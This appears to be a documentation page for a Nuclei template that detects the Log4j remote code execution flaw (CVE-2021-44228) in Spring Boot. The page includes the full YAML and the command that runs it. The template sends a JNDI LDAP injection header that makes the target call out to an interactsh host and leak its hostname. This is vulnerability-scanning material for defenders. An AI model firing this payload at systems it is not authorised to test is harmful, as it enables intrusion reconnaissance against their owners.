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Spring Boot - Remote Code Execution (Apache Log4j)

ID: springboot-log4j-rce

Severity: critical

Author: pdteam

Tags: cve,cve2021,springboot,rce,oast,log4j,kev

Description

Section titled “Description”

Spring Boot is susceptible to remote code execution via Apache Log4j.

YAML Source

Section titled “YAML Source”
id: springboot-log4j-rce


info:
  name: Spring Boot - Remote Code Execution (Apache Log4j)
  author: pdteam
  severity: critical
  description: Spring Boot is susceptible to remote code execution via Apache Log4j.
  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
  reference:
    - https://logging.apache.org/log4j/2.x/security.html
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-502
  metadata:
    max-request: 1
  tags: cve,cve2021,springboot,rce,oast,log4j,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a0048304602210094190791a153877905fcc95627068056b7bc95202ccc570ad421d952eb47631f02210099c3de965693b0762cc9ddecbf1a235ee58547f2261609fad3bbe28f0352a122:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/springboot/springboot-log4j-rce.yaml"

View on Github